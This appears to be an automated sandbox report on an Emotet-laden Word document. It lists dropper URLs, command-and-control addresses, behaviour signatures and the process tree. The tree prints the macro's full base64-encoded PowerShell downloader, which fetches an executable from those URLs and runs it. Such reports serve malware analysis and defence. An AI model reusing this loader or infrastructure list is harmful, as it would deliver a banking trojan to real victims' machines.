Analysis
- max time kernel
136s - max time network
133s - platform
windows10_x64 - resource
win10 - submitted
19/09/2020, 05:53
General
- Target emotet_e2_5236f2813e8823eddc52a679a0129cb8f0edca6ffd3d3323cb9d69b037a86853_2020-09-19__055228531242._doc.doc
- Size 189KB
- Sample200919-mbydht2kaj
- SHA256 5236f2813e8823eddc52a679a0129cb8f0edca6ffd3d3323cb9d69b037a86853
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
exe.dropper
http://geisterhouse.com/cgi-bin/LAb1/
-
exe.dropper
http://amyemitchell.com/themes/w/
-
exe.dropper
http://forestanalytics.net/images/57A7/
-
exe.dropper
https://konican.com/cgi-bin/cWu/
-
exe.dropper
http://strike3productions.com/squad/3aV6xrH/
-
exe.dropper
http://riandutra.com/img/wOMENgh/
-
exe.dropper
http://justinscott.com.au/sites/rRS/
Extracted
Family
-
emotet
C2
-
71.72.196.159:80
-
134.209.36.254:8080
-
120.138.30.150:8080
-
94.23.216.33:80
-
157.245.99.39:8080
-
137.59.187.107:8080
-
94.23.237.171:443
-
61.19.246.238:443
-
156.155.166.221:80
-
50.35.17.13:80
-
153.137.36.142:80
-
91.211.88.52:7080
-
209.141.54.221:8080
-
185.94.252.104:443
-
174.45.13.118:80
-
87.106.136.232:8080
-
62.75.141.82:80
-
213.196.135.145:80
-
188.219.31.12:80
-
82.80.155.43:80
rsa_pubkey.plain
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Emotet Payload 6 IoCs
Detects Emotet payload in memory.
- Blacklisted process makes network request 1 IoCs
- Executes dropped EXE 2 IoCs
- Drops file in System32 directory 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 9 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_5236f2813e8823eddc52a679a0129cb8f0edca6ffd3d3323cb9d69b037a86853_2020-09-19__055228531242._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -en JABMAGwAZABsAGsANQB0AD0AKAAoACcAVAAnACsAJwBoAG0AZwAyACcAKQArACcAaQB3ACcAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUATgBWADoAVQBTAEUAUgBwAHIAbwBGAEkAbABFAFwARQBwADEAcwA4AFUAVgBcAGMAZABjADgAYgA2AFUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBDAFUAcgBgAGkAYABUAGAAWQBQAHIATwBUAE8AYABDAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAJwAyACcAKwAoACcALAAgAHQAJwArACcAbAAnACkAKwAoACcAcwAxADEALAAgAHQAJwArACcAbABzACcAKQApADsAJABMAGkAOAAzAHAAbQBoACAAPQAgACgAKAAnAE0ANQAnACsAJwBrAG0ANAAxACcAKQArACcANwA2ACcAKQA7ACQAUwA0AHgAdQBfAHEAdwA9ACgAKAAnAEMAbQBkAGkANwAnACsAJwA5ACcAKQArACcAbQAnACkAOwAkAEsANgBkADcAMgB3ADgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwB6ACcAKwAnADEAJwArACcAeQBFAHAAMQBzACcAKwAnADgAdQB2AHoAJwApACsAJwAxAHkAJwArACgAJwBDAGQAYwAnACsAJwA4AGIAJwApACsAKAAnADYAdQB6ACcAKwAnADEAeQAnACkAKQAuACIAcgBFAHAAYABsAGEAYwBlACIAKAAoAFsAYwBoAGEAcgBdADEAMgAyACsAWwBjAGgAYQByAF0ANAA5ACsAWwBjAGgAYQByAF0AMQAyADEAKQAsACcAXAAnACkAKQArACQATABpADgAMwBwAG0AaAArACgAJwAuACcAKwAoACcAZQAnACsAJwB4AGUAJwApACkAOwAkAEIAMwB6AGgAcAB5ADYAPQAoACgAJwBLAHAAJwArACcAaQAnACkAKwAoACcAdQAnACsAJwBpAGEAMQAnACkAKQA7ACQASQB4AGMAcwBnAG8AMQA9AC4AKAAnAG4AJwArACcAZQB3AC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAAbgBlAHQALgB3AEUAYgBDAEwASQBFAG4AVAA7ACQASAB4AHoANABvAHgAYQA9ACgAKAAnAGgAJwArACcAdAB0AHAAOgAnACkAKwAnAC8ALwAnACsAKAAnAGcAZQBpAHMAdAAnACsAJwBlACcAKQArACgAJwByACcAKwAnAGgAbwAnACkAKwAnAHUAcwAnACsAKAAnAGUALgAnACsAJwBjACcAKQArACgAJwBvAG0AJwArACcALwAnACkAKwAoACcAYwBnAGkAJwArACcALQBiAGkAJwArACcAbgAnACsAJwAvAEwAJwApACsAKAAnAEEAYgAnACsAJwAxACcAKQArACgAJwAvACoAaAAnACsAJwB0AHQAcAA6ACcAKQArACgAJwAvACcAKwAnAC8AYQBtACcAKQArACgAJwB5ACcAKwAnAGUAbQBpAHQAJwApACsAKAAnAGMAaAAnACsAJwBlAGwAJwApACsAJwBsACcAKwAnAC4AJwArACcAYwBvACcAKwAnAG0AJwArACgAJwAvAHQAJwArACcAaAAnACkAKwAnAGUAJwArACgAJwBtAGUAJwArACcAcwAnACkAKwAnAC8AdwAnACsAJwAvACoAJwArACgAJwBoAHQAJwArACcAdABwACcAKQArACcAOgAnACsAJwAvAC8AJwArACcAZgAnACsAJwBvACcAKwAoACcAcgAnACsAJwBlAHMAdAAnACkAKwAnAGEAbgAnACsAJwBhACcAKwAoACcAbAB5AHQAJwArACcAaQBjAHMALgAnACsAJwBuAGUAJwApACsAKAAnAHQALwAnACsAJwBpAG0AYQAnACkAKwAoACcAZwBlAHMALwA1ADcAJwArACcAQQA3AC8AKgBoAHQAdABwAHMAOgAvAC8AawAnACsAJwBvAG4AaQAnACsAJwBjACcAKwAnAGEAJwArACcAbgAuAGMAbwAnACkAKwAnAG0AJwArACgAJwAvACcAKwAnAGMAZwBpAC0AJwApACsAKAAnAGIAaQAnACsAJwBuAC8AYwAnACkAKwAoACcAVwAnACsAJwB1AC8AKgAnACsAJwBoAHQAdAAnACkAKwAnAHAAOgAnACsAKAAnAC8ALwBzAHQAJwArACcAcgAnACkAKwAoACcAaQBrAGUAMwAnACsAJwBwACcAKQArACgAJwByAG8AJwArACcAZAB1ACcAKQArACcAYwAnACsAKAAnAHQAJwArACcAaQBvAG4AcwAuAGMAbwAnACkAKwAnAG0AJwArACgAJwAvAHMAcQAnACsAJwB1AGEAZAAvACcAKQArACgAJwAzAGEAJwArACcAVgAnACkAKwAnADYAJwArACgAJwB4AHIAJwArACcASAAvACcAKQArACcAKgBoACcAKwAoACcAdAB0ACcAKwAnAHAAOgAvACcAKwAnAC8AcgBpAGEAJwApACsAJwBuAGQAJwArACgAJwB1AHQAJwArACcAcgAnACkAKwAoACcAYQAuACcAKwAnAGMAbwBtAC8AaQAnACkAKwAnAG0AJwArACgAJwBnAC8AdwAnACsAJwBPACcAKQArACgAJwBNAEUAJwArACcATgBnACcAKQArACgAJwBoAC8AKgAnACsAJwBoACcAKQArACcAdAB0ACcAKwAnAHAAJwArACgAJwA6AC8ALwBqAHUAcwB0ACcAKwAnAGkAbgAnACkAKwAnAHMAYwAnACsAKAAnAG8AdAB0ACcAKwAnAC4AJwArACcAYwBvAG0AJwApACsAKAAnAC4AJwArACcAYQB1ACcAKQArACcALwAnACsAKAAnAHMAaQB0AGUAcwAnACsAJwAvACcAKQArACgAJwByAFIAJwArACcAUwAvACoAJwApACkALgAiAFMAYABwAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARwBiAHYAYgA3AGUAMgA9ACgAJwBTAHMAJwArACgAJwB4ACcAKwAnADgAcwAnACkAKwAnAG8AdwAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABaAHoAYwBxADIAcwBoACAAaQBuACAAJABIAHgAegA0AG8AeABhACkAewB0AHIAeQB7ACQASQB4AGMAcwBnAG8AMQAuACIARABgAE8AVwBgAE4AbABPAEEAZABmAGAAaQBsAEUAIgAoACQAWgB6AGMAcQAyAHMAaAAsACAAJABLADYAZAA3ADIAdwA4ACkAOwAkAFkAcQAyADAAZwB4ADcAPQAoACgAJwBZACcAKwAnAGUAZQAnACkAKwAnAHUAJwArACgAJwBpAGMAJwArACcAcAAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABLADYAZAA3ADIAdwA4ACkALgAiAGwAZQBgAE4ARwBgAFQAaAAiACAALQBnAGUAIAAyADEANQAxADQAKQAgAHsALgAoACcASQBuACcAKwAnAHYAbwBrACcAKwAnAGUALQBJAHQAJwArACcAZQBtACcAKQAoACQASwA2AGQANwAyAHcAOAApADsAJABSAF8ANQBuAGsAYQA4AD0AKAAoACcAWQByACcAKwAnADgAYQAwACcAKQArACcAYQBhACcAKQA7AGIAcgBlAGEAawA7ACQASQB3ADMAawAyAGoAdwA9ACgAKAAnAE4AYwAyAGEAJwArACcAZwAnACkAKwAnAHQAJwArACcAeQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AagA1AHAAMwB0AHkAPQAoACgAJwBWACcAKwAnADkAaQBmACcAKQArACgAJwAwAGIAJwArACcAYQAnACkAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Ep1s8uv\Cdc8b6u\M5km4176.exe"C:\Users\Admin\Ep1s8uv\Cdc8b6u\M5km4176.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\MicrosoftAccountExtension\biwinrt.exe"C:\Windows\SysWOW64\MicrosoftAccountExtension\biwinrt.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/204-16-0x0000000000590000-0x00000000005A2000-memory.dmp
memory/1516-8-0x00000268F1800000-0x00000268F1801000-memory.dmp
memory/1516-7-0x00000268F1320000-0x00000268F1321000-memory.dmp
memory/1516-6-0x00007FFA78E40000-0x00007FFA7982C000-memory.dmp
memory/2728-0-0x00007FFA7FFA0000-0x00007FFA80666000-memory.dmp
memory/2728-4-0x00000145A6EA5000-0x00000145A6EA8000-memory.dmp
memory/2728-3-0x00000145A6EA5000-0x00000145A6EA8000-memory.dmp
memory/2728-2-0x00000145A6E94000-0x00000145A6EA5000-memory.dmp
memory/4008-12-0x0000000000550000-0x0000000000562000-memory.dmp
memory/4008-13-0x00000000001F0000-0x0000000000200000-memory.dmp